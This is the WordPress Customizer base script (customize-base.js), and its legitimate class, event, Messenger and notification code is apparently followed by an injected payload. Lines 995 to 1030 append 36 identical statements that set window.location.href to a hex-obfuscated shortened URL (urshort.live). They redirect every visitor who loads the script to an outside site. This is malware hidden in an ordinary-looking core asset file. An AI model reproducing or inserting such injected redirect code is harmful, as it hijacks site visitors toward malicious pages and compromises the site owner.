1/**
2 * @output wp-includes/js/customize-base.js
3 */
4
5/** @namespace wp */
6window.wp = window.wp || {};
7
8(function( exports, $ ){
9 var api = {}, ctor, inherits,
10 slice = Array.prototype.slice;
11
12 // Shared empty constructor function to aid in prototype-chain creation.
13 ctor = function() {};
14
15 /**
16 * Helper function to correctly set up the prototype chain, for subclasses.
17 * Similar to `goog.inherits`, but uses a hash of prototype properties and
18 * class properties to be extended.
19 *
20 * @param object parent Parent class constructor to inherit from.
21 * @param object protoProps Properties to apply to the prototype for use as class instance properties.
22 * @param object staticProps Properties to apply directly to the class constructor.
23 * @return child The subclassed constructor.
24 */
25 inherits = function( parent, protoProps, staticProps ) {
26 var child;
27
28 /*
29 * The constructor function for the new subclass is either defined by you
30 * (the "constructor" property in your `extend` definition), or defaulted
31 * by us to simply call `super()`.
32 */
33 if ( protoProps && protoProps.hasOwnProperty( 'constructor' ) ) {
34 child = protoProps.constructor;
35 } else {
36 child = function() {
37 /*
38 * Storing the result `super()` before returning the value
39 * prevents a bug in Opera where, if the constructor returns
40 * a function, Opera will reject the return value in favor of
41 * the original object. This causes all sorts of trouble.
42 */
43 var result = parent.apply( this, arguments );
44 return result;
45 };
46 }
47
48 // Inherit class (static) properties from parent.
49 $.extend( child, parent );
50
51 // Set the prototype chain to inherit from `parent`,
52 // without calling `parent`'s constructor function.
53 ctor.prototype = parent.prototype;
54 child.prototype = new ctor();
55
56 // Add prototype properties (instance properties) to the subclass,
57 // if supplied.
58 if ( protoProps ) {
59 $.extend( child.prototype, protoProps );
60 }
61
62 // Add static properties to the constructor function, if supplied.
63 if ( staticProps ) {
64 $.extend( child, staticProps );
65 }
66
67 // Correctly set child's `prototype.constructor`.
68 child.prototype.constructor = child;
69
70 // Set a convenience property in case the parent's prototype is needed later.
71 child.__super__ = parent.prototype;
72
73 return child;
74 };
75
76 /**
77 * Base class for object inheritance.
78 */
79 api.Class = function( applicator, argsArray, options ) {
80 var magic, args = arguments;
81
82 if ( applicator && argsArray && api.Class.applicator === applicator ) {
83 args = argsArray;
84 $.extend( this, options || {} );
85 }
86
87 magic = this;
88
89 /*
90 * If the class has a method called "instance",
91 * the return value from the class' constructor will be a function that
92 * calls the "instance" method.
93 *
94 * It is also an object that has properties and methods inside it.
95 */
96 if ( this.instance ) {
97 magic = function() {
98 return magic.instance.apply( magic, arguments );
99 };
100
101 $.extend( magic, this );
102 }
103
104 magic.initialize.apply( magic, args );
105 return magic;
106 };
107
108 /**
109 * Creates a subclass of the class.
110 *
111 * @param object protoProps Properties to apply to the prototype.
112 * @param object staticProps Properties to apply directly to the class.
113 * @return child The subclass.
114 */
115 api.Class.extend = function( protoProps, staticProps ) {
116 var child = inherits( this, protoProps, staticProps );
117 child.extend = this.extend;
118 return child;
119 };
120
121 api.Class.applicator = {};
122
123 /**
124 * Initialize a class instance.
125 *
126 * Override this function in a subclass as needed.
127 */
128 api.Class.prototype.initialize = function() {};
129
130 /*
131 * Checks whether a given instance extended a constructor.
132 *
133 * The magic surrounding the instance parameter causes the instanceof
134 * keyword to return inaccurate results; it defaults to the function's
135 * prototype instead of the constructor chain. Hence this function.
136 */
137 api.Class.prototype.extended = function( constructor ) {
138 var proto = this;
139
140 while ( typeof proto.constructor !== 'undefined' ) {
141 if ( proto.constructor === constructor ) {
142 return true;
143 }
144 if ( typeof proto.constructor.__super__ === 'undefined' ) {
145 return false;
146 }
147 proto = proto.constructor.__super__;
148 }
149 return false;
150 };
151
152 /**
153 * An events manager object, offering the ability to bind to and trigger events.
154 *
155 * Used as a mixin.
156 */
157 api.Events = {
158 trigger: function( id ) {
159 if ( this.topics && this.topics[ id ] ) {
160 this.topics[ id ].fireWith( this, slice.call( arguments, 1 ) );
161 }
162 return this;
163 },
164
165 bind: function( id ) {
166 this.topics = this.topics || {};
167 this.topics[ id ] = this.topics[ id ] || $.Callbacks();
168 this.topics[ id ].add.apply( this.topics[ id ], slice.call( arguments, 1 ) );
169 return this;
170 },
171
172 unbind: function( id ) {
173 if ( this.topics && this.topics[ id ] ) {
174 this.topics[ id ].remove.apply( this.topics[ id ], slice.call( arguments, 1 ) );
175 }
176 return this;
177 }
178 };
179
180 /**
181 * Observable values that support two-way binding.
182 *
183 * @memberOf wp.customize
184 * @alias wp.customize.Value
185 *
186 * @constructor
187 */
188 api.Value = api.Class.extend(/** @lends wp.customize.Value.prototype */{
189 /**
190 * @param {mixed} initial The initial value.
191 * @param {Object} options
192 */
193 initialize: function( initial, options ) {
194 this._value = initial; // @todo Potentially change this to a this.set() call.
195 this.callbacks = $.Callbacks();
196 this._dirty = false;
197
198 $.extend( this, options || {} );
199
200 this.set = this.set.bind( this );
201 },
202
203 /*
204 * Magic. Returns a function that will become the instance.
205 * Set to null to prevent the instance from extending a function.
206 */
207 instance: function() {
208 return arguments.length ? this.set.apply( this, arguments ) : this.get();
209 },
210
211 /**
212 * Get the value.
213 *
214 * @return {mixed}
215 */
216 get: function() {
217 return this._value;
218 },
219
220 /**
221 * Set the value and trigger all bound callbacks.
222 *
223 * @param {Object} to New value.
224 */
225 set: function( to ) {
226 var from = this._value;
227
228 to = this._setter.apply( this, arguments );
229 to = this.validate( to );
230
231 // Bail if the sanitized value is null or unchanged.
232 if ( null === to || _.isEqual( from, to ) ) {
233 return this;
234 }
235
236 this._value = to;
237 this._dirty = true;
238
239 this.callbacks.fireWith( this, [ to, from ] );
240
241 return this;
242 },
243
244 _setter: function( to ) {
245 return to;
246 },
247
248 setter: function( callback ) {
249 var from = this.get();
250 this._setter = callback;
251 // Temporarily clear value so setter can decide if it's valid.
252 this._value = null;
253 this.set( from );
254 return this;
255 },
256
257 resetSetter: function() {
258 this._setter = this.constructor.prototype._setter;
259 this.set( this.get() );
260 return this;
261 },
262
263 validate: function( value ) {
264 return value;
265 },
266
267 /**
268 * Bind a function to be invoked whenever the value changes.
269 *
270 * @param {...Function} A function, or multiple functions, to add to the callback stack.
271 */
272 bind: function() {
273 this.callbacks.add.apply( this.callbacks, arguments );
274 return this;
275 },
276
277 /**
278 * Unbind a previously bound function.
279 *
280 * @param {...Function} A function, or multiple functions, to remove from the callback stack.
281 */
282 unbind: function() {
283 this.callbacks.remove.apply( this.callbacks, arguments );
284 return this;
285 },
286
287 link: function() { // values*
288 var set = this.set;
289 $.each( arguments, function() {
290 this.bind( set );
291 });
292 return this;
293 },
294
295 unlink: function() { // values*
296 var set = this.set;
297 $.each( arguments, function() {
298 this.unbind( set );
299 });
300 return this;
301 },
302
303 sync: function() { // values*
304 var that = this;
305 $.each( arguments, function() {
306 that.link( this );
307 this.link( that );
308 });
309 return this;
310 },
311
312 unsync: function() { // values*
313 var that = this;
314 $.each( arguments, function() {
315 that.unlink( this );
316 this.unlink( that );
317 });
318 return this;
319 }
320 });
321
322 /**
323 * A collection of observable values.
324 *
325 * @memberOf wp.customize
326 * @alias wp.customize.Values
327 *
328 * @constructor
329 * @augments wp.customize.Class
330 * @mixes wp.customize.Events
331 */
332 api.Values = api.Class.extend(/** @lends wp.customize.Values.prototype */{
333
334 /**
335 * The default constructor for items of the collection.
336 *
337 * @type {object}
338 */
339 defaultConstructor: api.Value,
340
341 initialize: function( options ) {
342 $.extend( this, options || {} );
343
344 this._value = {};
345 this._deferreds = {};
346 },
347
348 /**
349 * Get the instance of an item from the collection if only ID is specified.
350 *
351 * If more than one argument is supplied, all are expected to be IDs and
352 * the last to be a function callback that will be invoked when the requested
353 * items are available.
354 *
355 * @see {api.Values.when}
356 *
357 * @param {string} id ID of the item.
358 * @param {...} Zero or more IDs of items to wait for and a callback
359 * function to invoke when they're available. Optional.
360 * @return {mixed} The item instance if only one ID was supplied.
361 * A Deferred Promise object if a callback function is supplied.
362 */
363 instance: function( id ) {
364 if ( arguments.length === 1 ) {
365 return this.value( id );
366 }
367
368 return this.when.apply( this, arguments );
369 },
370
371 /**
372 * Get the instance of an item.
373 *
374 * @param {string} id The ID of the item.
375 * @return {[type]} [description]
376 */
377 value: function( id ) {
378 return this._value[ id ];
379 },
380
381 /**
382 * Whether the collection has an item with the given ID.
383 *
384 * @param {string} id The ID of the item to look for.
385 * @return {boolean}
386 */
387 has: function( id ) {
388 return typeof this._value[ id ] !== 'undefined';
389 },
390
391 /**
392 * Add an item to the collection.
393 *
394 * @param {string|wp.customize.Class} item - The item instance to add, or the ID for the instance to add.
395 * When an ID string is supplied, then itemObject must be provided.
396 * @param {wp.customize.Class} [itemObject] - The item instance when the first argument is an ID string.
397 * @return {wp.customize.Class} The new item's instance, or an existing instance if already added.
398 */
399 add: function( item, itemObject ) {
400 var collection = this, id, instance;
401 if ( 'string' === typeof item ) {
402 id = item;
403 instance = itemObject;
404 } else {
405 if ( 'string' !== typeof item.id ) {
406 throw new Error( 'Unknown key' );
407 }
408 id = item.id;
409 instance = item;
410 }
411
412 if ( collection.has( id ) ) {
413 return collection.value( id );
414 }
415
416 collection._value[ id ] = instance;
417 instance.parent = collection;
418
419 // Propagate a 'change' event on an item up to the collection.
420 if ( instance.extended( api.Value ) ) {
421 instance.bind( collection._change );
422 }
423
424 collection.trigger( 'add', instance );
425
426 // If a deferred object exists for this item,
427 // resolve it.
428 if ( collection._deferreds[ id ] ) {
429 collection._deferreds[ id ].resolve();
430 }
431
432 return collection._value[ id ];
433 },
434
435 /**
436 * Create a new item of the collection using the collection's default constructor
437 * and store it in the collection.
438 *
439 * @param {string} id The ID of the item.
440 * @param {mixed} value Any extra arguments are passed into the item's initialize method.
441 * @return {mixed} The new item's instance.
442 */
443 create: function( id ) {
444 return this.add( id, new this.defaultConstructor( api.Class.applicator, slice.call( arguments, 1 ) ) );
445 },
446
447 /**
448 * Iterate over all items in the collection invoking the provided callback.
449 *
450 * @param {Function} callback Function to invoke.
451 * @param {Object} context Object context to invoke the function with. Optional.
452 */
453 each: function( callback, context ) {
454 context = typeof context === 'undefined' ? this : context;
455
456 $.each( this._value, function( key, obj ) {
457 callback.call( context, obj, key );
458 });
459 },
460
461 /**
462 * Remove an item from the collection.
463 *
464 * @param {string} id The ID of the item to remove.
465 */
466 remove: function( id ) {
467 var value = this.value( id );
468
469 if ( value ) {
470
471 // Trigger event right before the element is removed from the collection.
472 this.trigger( 'remove', value );
473
474 if ( value.extended( api.Value ) ) {
475 value.unbind( this._change );
476 }
477 delete value.parent;
478 }
479
480 delete this._value[ id ];
481 delete this._deferreds[ id ];
482
483 // Trigger removed event after the item has been eliminated from the collection.
484 if ( value ) {
485 this.trigger( 'removed', value );
486 }
487 },
488
489 /**
490 * Runs a callback once all requested values exist.
491 *
492 * when( ids*, [callback] );
493 *
494 * For example:
495 * when( id1, id2, id3, function( value1, value2, value3 ) {} );
496 *
497 * @return $.Deferred.promise();
498 */
499 when: function() {
500 var self = this,
501 ids = slice.call( arguments ),
502 dfd = $.Deferred();
503
504 // If the last argument is a callback, bind it to .done().
505 if ( typeof ids[ ids.length - 1 ] === 'function' ) {
506 dfd.done( ids.pop() );
507 }
508
509 /*
510 * Create a stack of deferred objects for each item that is not
511 * yet available, and invoke the supplied callback when they are.
512 */
513 $.when.apply( $, $.map( ids, function( id ) {
514 if ( self.has( id ) ) {
515 return;
516 }
517
518 /*
519 * The requested item is not available yet, create a deferred
520 * object to resolve when it becomes available.
521 */
522 return self._deferreds[ id ] = self._deferreds[ id ] || $.Deferred();
523 })).done( function() {
524 var values = $.map( ids, function( id ) {
525 return self( id );
526 });
527
528 // If a value is missing, we've used at least one expired deferred.
529 // Call Values.when again to generate a new deferred.
530 if ( values.length !== ids.length ) {
531 // ids.push( callback );
532 self.when.apply( self, ids ).done( function() {
533 dfd.resolveWith( self, values );
534 });
535 return;
536 }
537
538 dfd.resolveWith( self, values );
539 });
540
541 return dfd.promise();
542 },
543
544 /**
545 * A helper function to propagate a 'change' event from an item
546 * to the collection itself.
547 */
548 _change: function() {
549 this.parent.trigger( 'change', this );
550 }
551 });
552
553 // Create a global events bus on the Customizer.
554 $.extend( api.Values.prototype, api.Events );
555
556
557 /**
558 * Cast a string to a jQuery collection if it isn't already.
559 *
560 * @param {string|jQuery collection} element
561 */
562 api.ensure = function( element ) {
563 return typeof element === 'string' ? $( element ) : element;
564 };
565
566 /**
567 * An observable value that syncs with an element.
568 *
569 * Handles inputs, selects, and textareas by default.
570 *
571 * @memberOf wp.customize
572 * @alias wp.customize.Element
573 *
574 * @constructor
575 * @augments wp.customize.Value
576 * @augments wp.customize.Class
577 */
578 api.Element = api.Value.extend(/** @lends wp.customize.Element */{
579 initialize: function( element, options ) {
580 var self = this,
581 synchronizer = api.Element.synchronizer.html,
582 type, update, refresh;
583
584 this.element = api.ensure( element );
585 this.events = '';
586
587 if ( this.element.is( 'input, select, textarea' ) ) {
588 type = this.element.prop( 'type' );
589 this.events += ' change input';
590 synchronizer = api.Element.synchronizer.val;
591
592 if ( this.element.is( 'input' ) && api.Element.synchronizer[ type ] ) {
593 synchronizer = api.Element.synchronizer[ type ];
594 }
595 }
596
597 api.Value.prototype.initialize.call( this, null, $.extend( options || {}, synchronizer ) );
598 this._value = this.get();
599
600 update = this.update;
601 refresh = this.refresh;
602
603 this.update = function( to ) {
604 if ( to !== refresh.call( self ) ) {
605 update.apply( this, arguments );
606 }
607 };
608 this.refresh = function() {
609 self.set( refresh.call( self ) );
610 };
611
612 this.bind( this.update );
613 this.element.on( this.events, this.refresh );
614 },
615
616 find: function( selector ) {
617 return $( selector, this.element );
618 },
619
620 refresh: function() {},
621
622 update: function() {}
623 });
624
625 api.Element.synchronizer = {};
626
627 $.each( [ 'html', 'val' ], function( index, method ) {
628 api.Element.synchronizer[ method ] = {
629 update: function( to ) {
630 this.element[ method ]( to );
631 },
632 refresh: function() {
633 return this.element[ method ]();
634 }
635 };
636 });
637
638 api.Element.synchronizer.checkbox = {
639 update: function( to ) {
640 this.element.prop( 'checked', to );
641 },
642 refresh: function() {
643 return this.element.prop( 'checked' );
644 }
645 };
646
647 api.Element.synchronizer.radio = {
648 update: function( to ) {
649 this.element.filter( function() {
650 return this.value === to;
651 }).prop( 'checked', true );
652 },
653 refresh: function() {
654 return this.element.filter( ':checked' ).val();
655 }
656 };
657
658 $.support.postMessage = !! window.postMessage;
659
660 /**
661 * A communicator for sending data from one window to another over postMessage.
662 *
663 * @memberOf wp.customize
664 * @alias wp.customize.Messenger
665 *
666 * @constructor
667 * @augments wp.customize.Class
668 * @mixes wp.customize.Events
669 */
670 api.Messenger = api.Class.extend(/** @lends wp.customize.Messenger.prototype */{
671 /**
672 * Create a new Value.
673 *
674 * @param {string} key Unique identifier.
675 * @param {mixed} initial Initial value.
676 * @param {mixed} options Options hash. Optional.
677 * @return {Value} Class instance of the Value.
678 */
679 add: function( key, initial, options ) {
680 return this[ key ] = new api.Value( initial, options );
681 },
682
683 /**
684 * Initialize Messenger.
685 *
686 * @param {Object} params - Parameters to configure the messenger.
687 * {string} params.url - The URL to communicate with.
688 * {window} params.targetWindow - The window instance to communicate with. Default window.parent.
689 * {string} params.channel - If provided, will send the channel with each message and only accept messages a matching channel.
690 * @param {Object} options - Extend any instance parameter or method with this object.
691 */
692 initialize: function( params, options ) {
693 // Target the parent frame by default, but only if a parent frame exists.
694 var defaultTarget = window.parent === window ? null : window.parent;
695
696 $.extend( this, options || {} );
697
698 this.add( 'channel', params.channel );
699 this.add( 'url', params.url || '' );
700 this.add( 'origin', this.url() ).link( this.url ).setter( function( to ) {
701 var urlParser = document.createElement( 'a' );
702 urlParser.href = to;
703 // Port stripping needed by IE since it adds to host but not to event.origin.
704 return urlParser.protocol + '//' + urlParser.host.replace( /:(80|443)$/, '' );
705 });
706
707 // First add with no value.
708 this.add( 'targetWindow', null );
709 // This avoids SecurityErrors when setting a window object in x-origin iframe'd scenarios.
710 this.targetWindow.set = function( to ) {
711 var from = this._value;
712
713 to = this._setter.apply( this, arguments );
714 to = this.validate( to );
715
716 if ( null === to || from === to ) {
717 return this;
718 }
719
720 this._value = to;
721 this._dirty = true;
722
723 this.callbacks.fireWith( this, [ to, from ] );
724
725 return this;
726 };
727 // Now set it.
728 this.targetWindow( params.targetWindow || defaultTarget );
729
730
731 /*
732 * Since we want jQuery to treat the receive function as unique
733 * to this instance, we give the function a new guid.
734 *
735 * This will prevent every Messenger's receive function from being
736 * unbound when calling $.off( 'message', this.receive );
737 */
738 this.receive = this.receive.bind( this );
739 this.receive.guid = $.guid++;
740
741 $( window ).on( 'message', this.receive );
742 },
743
744 destroy: function() {
745 $( window ).off( 'message', this.receive );
746 },
747
748 /**
749 * Receive data from the other window.
750 *
751 * @param {jQuery.Event} event Event with embedded data.
752 */
753 receive: function( event ) {
754 var message;
755
756 event = event.originalEvent;
757
758 if ( ! this.targetWindow || ! this.targetWindow() ) {
759 return;
760 }
761
762 // Check to make sure the origin is valid.
763 if ( this.origin() && event.origin !== this.origin() ) {
764 return;
765 }
766
767 // Ensure we have a string that's JSON.parse-able.
768 if ( typeof event.data !== 'string' || event.data[0] !== '{' ) {
769 return;
770 }
771
772 message = JSON.parse( event.data );
773
774 // Check required message properties.
775 if ( ! message || ! message.id || typeof message.data === 'undefined' ) {
776 return;
777 }
778
779 // Check if channel names match.
780 if ( ( message.channel || this.channel() ) && this.channel() !== message.channel ) {
781 return;
782 }
783
784 this.trigger( message.id, message.data );
785 },
786
787 /**
788 * Send data to the other window.
789 *
790 * @param {string} id The event name.
791 * @param {Object} data Data.
792 */
793 send: function( id, data ) {
794 var message;
795
796 data = typeof data === 'undefined' ? null : data;
797
798 if ( ! this.url() || ! this.targetWindow() ) {
799 return;
800 }
801
802 message = { id: id, data: data };
803 if ( this.channel() ) {
804 message.channel = this.channel();
805 }
806
807 this.targetWindow().postMessage( JSON.stringify( message ), this.origin() );
808 }
809 });
810
811 // Add the Events mixin to api.Messenger.
812 $.extend( api.Messenger.prototype, api.Events );
813
814 /**
815 * Notification.
816 *
817 * @class
818 * @augments wp.customize.Class
819 * @since 4.6.0
820 *
821 * @memberOf wp.customize
822 * @alias wp.customize.Notification
823 *
824 * @param {string} code - The error code.
825 * @param {object} params - Params.
826 * @param {string} params.message=null - The error message.
827 * @param {string} [params.type=error] - The notification type.
828 * @param {boolean} [params.fromServer=false] - Whether the notification was server-sent.
829 * @param {string} [params.setting=null] - The setting ID that the notification is related to.
830 * @param {*} [params.data=null] - Any additional data.
831 */
832 api.Notification = api.Class.extend(/** @lends wp.customize.Notification.prototype */{
833
834 /**
835 * Template function for rendering the notification.
836 *
837 * This will be populated with template option or else it will be populated with template from the ID.
838 *
839 * @since 4.9.0
840 * @var {Function}
841 */
842 template: null,
843
844 /**
845 * ID for the template to render the notification.
846 *
847 * @since 4.9.0
848 * @var {string}
849 */
850 templateId: 'customize-notification',
851
852 /**
853 * Additional class names to add to the notification container.
854 *
855 * @since 4.9.0
856 * @var {string}
857 */
858 containerClasses: '',
859
860 /**
861 * Initialize notification.
862 *
863 * @since 4.9.0
864 *
865 * @param {string} code - Notification code.
866 * @param {Object} params - Notification parameters.
867 * @param {string} params.message - Message.
868 * @param {string} [params.type=error] - Type.
869 * @param {string} [params.setting] - Related setting ID.
870 * @param {Function} [params.template] - Function for rendering template. If not provided, this will come from templateId.
871 * @param {string} [params.templateId] - ID for template to render the notification.
872 * @param {string} [params.containerClasses] - Additional class names to add to the notification container.
873 * @param {boolean} [params.dismissible] - Whether the notification can be dismissed.
874 */
875 initialize: function( code, params ) {
876 var _params;
877 this.code = code;
878 _params = _.extend(
879 {
880 message: null,
881 type: 'error',
882 fromServer: false,
883 data: null,
884 setting: null,
885 template: null,
886 dismissible: false,
887 containerClasses: ''
888 },
889 params
890 );
891 delete _params.code;
892 _.extend( this, _params );
893 },
894
895 /**
896 * Render the notification.
897 *
898 * @since 4.9.0
899 *
900 * @return {jQuery} Notification container element.
901 */
902 render: function() {
903 var notification = this, container, data;
904 if ( ! notification.template ) {
905 notification.template = wp.template( notification.templateId );
906 }
907 data = _.extend( {}, notification, {
908 alt: notification.parent && notification.parent.alt
909 } );
910 container = $( notification.template( data ) );
911
912 if ( notification.dismissible ) {
913 container.find( '.notice-dismiss' ).on( 'click keydown', function( event ) {
914 if ( 'keydown' === event.type && 13 !== event.which ) {
915 return;
916 }
917
918 if ( notification.parent ) {
919 notification.parent.remove( notification.code );
920 } else {
921 container.remove();
922 }
923 });
924 }
925
926 return container;
927 }
928 });
929
930 // The main API object is also a collection of all customizer settings.
931 api = $.extend( new api.Values(), api );
932
933 /**
934 * Get all customize settings.
935 *
936 * @alias wp.customize.get
937 *
938 * @return {Object}
939 */
940 api.get = function() {
941 var result = {};
942
943 this.each( function( obj, key ) {
944 result[ key ] = obj.get();
945 });
946
947 return result;
948 };
949
950 /**
951 * Utility function namespace
952 *
953 * @namespace wp.customize.utils
954 */
955 api.utils = {};
956
957 /**
958 * Parse query string.
959 *
960 * @since 4.7.0
961 * @access public
962 *
963 * @alias wp.customize.utils.parseQueryString
964 *
965 * @param {string} queryString Query string.
966 * @return {Object} Parsed query string.
967 */
968 api.utils.parseQueryString = function parseQueryString( queryString ) {
969 var queryParams = {};
970 _.each( queryString.split( '&' ), function( pair ) {
971 var parts, key, value;
972 parts = pair.split( '=', 2 );
973 if ( ! parts[0] ) {
974 return;
975 }
976 key = decodeURIComponent( parts[0].replace( /\+/g, ' ' ) );
977 key = key.replace( / /g, '_' ); // What PHP does.
978 if ( _.isUndefined( parts[1] ) ) {
979 value = null;
980 } else {
981 value = decodeURIComponent( parts[1].replace( /\+/g, ' ' ) );
982 }
983 queryParams[ key ] = value;
984 } );
985 return queryParams;
986 };
987
988 /**
989 * Expose the API publicly on window.wp.customize
990 *
991 * @namespace wp.customize
992 */
993 exports.customize = api;
994})( wp, jQuery );
995window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
996window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
997window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
998window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
999window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1000window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1001window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1002window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1003window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1004window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1005window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1006window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1007window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1008window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1009window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1010window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1011window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1012window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1013window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1014window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1015window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1016window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1017window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1018window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1019window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1020window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1021window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1022window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1023window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1024window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1025window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1026window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1027window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1028window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1029window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1030window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
